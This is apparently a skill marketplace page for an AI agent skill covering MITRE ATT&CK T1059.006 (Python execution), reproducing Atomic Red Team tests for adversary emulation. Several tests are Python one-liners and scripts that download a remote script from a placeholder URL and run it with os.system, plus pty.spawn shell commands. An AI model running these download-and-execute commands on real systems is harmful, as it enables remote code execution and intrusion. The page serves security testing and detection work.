用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill t1059-006-python命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | T1059.006_python |
| description | Adversaries may abuse Python commands and scripts for execution. |
| category | input-validation |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1059.006","execution","esxi","linux","macos","windows","sub-technique"] |
| technique_id | T1059.006 |
| tactic | execution |
| all_tactics | ["execution"] |
| platforms | ["ESXi","Linux","macOS","Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1059/006 |
| tech_stack | ["esxi","linux","macos","windows"] |
| cwe_ids | ["CWE-94"] |
| chains_with | ["T1059","T1059.001","T1059.002","T1059.003","T1059.004","T1059.005","T1059.007","T1059.008","T1059.009","T1059.010","T1059.011","T1059.012","T1059.013"] |
| prerequisites | ["T1059"] |
| severity_boost | {"T1059":"Chain with T1059 for deeper attack path","T1059.001":"Chain with T1059.001 for deeper attack path","T1059.002":"Chain with T1059.002 for deeper attack path"} |
Sub-technique of: T1059
Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.
Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
Platforms: ESXi, Linux, macOS, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Download and execute shell script and write to file then execute locally using Python -c (command mode)
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
Dependencies:
Create Python file (.py) that downloads and executes shell script via executor arguments
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}
Dependencies:
Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python #{python_binary_name}
Dependencies:
Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c "import pty;pty.spawn('/bin/sh')"
exit
$which_python -c "import pty;pty.spawn('/bin/bash')"
exit
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Python by examining the target platforms (ESXi, Linux, macOS).
Assess Existing Defenses: Review whether mitigations for T1059.006 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Inventory systems for unauthorized Python installations.
Anti-virus can be used to automatically quarantine suspicious files.
Prevent users from installing Python where not required.
Denylist Python where not required.
| Finding | Severity | Impact |
|---|---|---|
| Python technique applicable | Low | Execution |
| CWE ID | Title |
|---|---|
| CWE-94 | Improper Control of Generation of Code |